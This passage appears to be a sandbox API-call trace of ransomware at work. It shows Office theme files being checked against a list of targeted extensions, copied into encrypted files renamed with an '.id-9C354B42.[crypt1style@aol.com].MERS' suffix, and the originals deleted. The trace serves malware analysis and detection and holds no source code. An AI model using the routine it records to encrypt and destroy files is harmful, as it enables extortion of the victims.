5 [0271.337] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.337] lstrlenW (lpString=".ppt") returned 4 [0271.337] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.337] lstrlenW (lpString=".zip") returned 4 [0271.337] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.337] lstrlenW (lpString=".rar") returned 4 [0271.337] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.337] lstrlenW (lpString=".bz2") returned 4 [0271.337] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.337] lstrlenW (lpString=".7z") returned 3 [0271.337] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.337] lstrlenW (lpString=".dbf") returned 4 [0271.337] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.337] lstrlenW (lpString=".1cd") returned 4 [0271.337] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.337] lstrlenW (lpString=".jpg") returned 4 [0271.338] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.338] lstrlenW (lpString=".doc") returned 4 [0271.338] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.338] lstrlenW (lpString=".docx") returned 5 [0271.338] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.338] lstrlenW (lpString=".pdf") returned 4 [0271.338] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.338] lstrlenW (lpString=".xls") returned 4 [0271.338] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.338] lstrlenW (lpString=".xlsx") returned 5 [0271.338] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.338] lstrlenW (lpString=".ppt") returned 4 [0271.338] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.338] lstrlenW (lpString=".zip") returned 4 [0271.338] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.338] lstrlenW (lpString=".rar") returned 4 [0271.338] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.338] lstrlenW (lpString=".bz2") returned 4 [0271.338] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.338] lstrlenW (lpString=".7z") returned 3 [0271.338] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.338] lstrlenW (lpString=".dbf") returned 4 [0271.338] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.344] lstrlenW (lpString=".1cd") returned 4 [0271.344] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0271.344] lstrlenW (lpString=".jpg") returned 4 [0271.344] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.344] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0271.344] lstrlenW (lpString="Metro.eftx") returned 10 [0271.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.372] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=24117) returned 1 [0271.372] CloseHandle (hObject=0x3ac) returned 1 [0271.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0271.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.385] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.385] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0271.959] GetLastError () returned 0x0 [0271.959] ReadFile (in: hFile=0x3a8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x5e35, lpOverlapped=0x0) returned 1 [0272.068] WriteFile (in: hFile=0x408, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x5e40, lpOverlapped=0x0) returned 1 [0272.069] ReadFile (in: hFile=0x3a8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0272.069] WriteFile (in: hFile=0x408, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0272.069] SetEndOfFile (hFile=0x408) returned 1 [0272.069] CloseHandle (hObject=0x408) returned 1 [0272.069] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.069] SetEndOfFile (hFile=0x3a8) returned 1 [0272.071] CloseHandle (hObject=0x3a8) returned 1 [0272.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 1 [0272.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.071] lstrlenW (lpString=".doc") returned 4 [0272.071] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.071] lstrlenW (lpString=".docx") returned 5 [0272.071] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.071] lstrlenW (lpString=".pdf") returned 4 [0272.071] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.071] lstrlenW (lpString=".xls") returned 4 [0272.071] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.071] lstrlenW (lpString=".xlsx") returned 5 [0272.071] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.071] lstrlenW (lpString=".ppt") returned 4 [0272.071] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.071] lstrlenW (lpString=".zip") returned 4 [0272.072] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.072] lstrlenW (lpString=".rar") returned 4 [0272.072] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.072] lstrlenW (lpString=".bz2") returned 4 [0272.072] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.072] lstrlenW (lpString=".7z") returned 3 [0272.072] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.072] lstrlenW (lpString=".dbf") returned 4 [0272.072] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.072] lstrlenW (lpString=".1cd") returned 4 [0272.072] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.072] lstrlenW (lpString=".jpg") returned 4 [0272.072] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.072] lstrlenW (lpString=".doc") returned 4 [0272.072] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.072] lstrlenW (lpString=".docx") returned 5 [0272.072] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.072] lstrlenW (lpString=".pdf") returned 4 [0272.073] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.073] lstrlenW (lpString=".xls") returned 4 [0272.073] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.073] lstrlenW (lpString=".xlsx") returned 5 [0272.073] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.073] lstrlenW (lpString=".ppt") returned 4 [0272.073] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.073] lstrlenW (lpString=".zip") returned 4 [0272.073] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.073] lstrlenW (lpString=".rar") returned 4 [0272.073] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.073] lstrlenW (lpString=".bz2") returned 4 [0272.073] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.073] lstrlenW (lpString=".7z") returned 3 [0272.073] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.073] lstrlenW (lpString=".dbf") returned 4 [0272.073] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.073] lstrlenW (lpString=".1cd") returned 4 [0272.073] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0272.073] lstrlenW (lpString=".jpg") returned 4 [0272.073] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.073] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0272.073] lstrlenW (lpString="Newsprint.eftx") returned 14 [0272.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.074] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=582401) returned 1 [0272.074] CloseHandle (hObject=0x3a8) returned 1 [0272.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0272.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.075] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.075] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0272.075] GetLastError () returned 0x0 [0272.075] ReadFile (in: hFile=0x3a8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x8e301, lpOverlapped=0x0) returned 1 [0272.343] WriteFile (in: hFile=0x408, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x8e310, lpOverlapped=0x0) returned 1 [0272.351] ReadFile (in: hFile=0x3a8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0272.351] WriteFile (in: hFile=0x408, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xf0, lpOverlapped=0x0) returned 1 [0272.351] SetEndOfFile (hFile=0x408) returned 1 [0272.352] CloseHandle (hObject=0x408) returned 1 [0272.352] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.352] SetEndOfFile (hFile=0x3a8) returned 1 [0272.362] CloseHandle (hObject=0x3a8) returned 1 [0272.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 1 [0272.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.452] lstrlenW (lpString=".doc") returned 4 [0272.452] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.452] lstrlenW (lpString=".docx") returned 5 [0272.452] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.452] lstrlenW (lpString=".pdf") returned 4 [0272.452] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.452] lstrlenW (lpString=".xls") returned 4 [0272.453] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString=".xlsx") returned 5 [0272.453] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.453] lstrlenW (lpString=".ppt") returned 4 [0272.453] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.453] lstrlenW (lpString=".zip") returned 4 [0272.453] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString=".rar") returned 4 [0272.453] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString=".bz2") returned 4 [0272.453] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString=".7z") returned 3 [0272.453] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.453] lstrlenW (lpString=".dbf") returned 4 [0272.453] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.453] lstrlenW (lpString=".1cd") returned 4 [0272.453] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.453] lstrlenW (lpString=".jpg") returned 4 [0272.453] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.453] lstrlenW (lpString=".doc") returned 4 [0272.453] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString=".docx") returned 5 [0272.453] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.453] lstrlenW (lpString=".pdf") returned 4 [0272.453] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString=".xls") returned 4 [0272.453] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.453] lstrlenW (lpString=".xlsx") returned 5 [0272.453] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.454] lstrlenW (lpString=".ppt") returned 4 [0272.454] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.454] lstrlenW (lpString=".zip") returned 4 [0272.454] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.454] lstrlenW (lpString=".rar") returned 4 [0272.454] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.454] lstrlenW (lpString=".bz2") returned 4 [0272.454] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.454] lstrlenW (lpString=".7z") returned 3 [0272.454] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.454] lstrlenW (lpString=".dbf") returned 4 [0272.454] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.454] lstrlenW (lpString=".1cd") returned 4 [0272.454] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0272.454] lstrlenW (lpString=".jpg") returned 4 [0272.454] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.454] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0272.454] lstrlenW (lpString="Paper.eftx") returned 10 [0272.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0272.487] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=228746) returned 1 [0272.487] CloseHandle (hObject=0x3d8) returned 1 [0272.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0272.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0272.489] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.489] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0272.489] GetLastError () returned 0x0 [0272.489] ReadFile (in: hFile=0x3d8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x37d8a, lpOverlapped=0x0) returned 1 [0272.680] WriteFile (in: hFile=0x408, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x37d90, lpOverlapped=0x0) returned 1 [0272.683] ReadFile (in: hFile=0x3d8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0272.683] WriteFile (in: hFile=0x408, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0272.684] SetEndOfFile (hFile=0x408) returned 1 [0272.684] CloseHandle (hObject=0x408) returned 1 [0272.684] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.684] SetEndOfFile (hFile=0x3d8) returned 1 [0272.688] CloseHandle (hObject=0x3d8) returned 1 [0272.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 1 [0272.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.691] lstrlenW (lpString=".doc") returned 4 [0272.691] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.691] lstrlenW (lpString=".docx") returned 5 [0272.691] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.691] lstrlenW (lpString=".pdf") returned 4 [0272.691] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.691] lstrlenW (lpString=".xls") returned 4 [0272.691] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.691] lstrlenW (lpString=".xlsx") returned 5 [0272.691] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.691] lstrlenW (lpString=".ppt") returned 4 [0272.691] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.691] lstrlenW (lpString=".zip") returned 4 [0272.692] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString=".rar") returned 4 [0272.692] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString=".bz2") returned 4 [0272.692] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString=".7z") returned 3 [0272.692] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 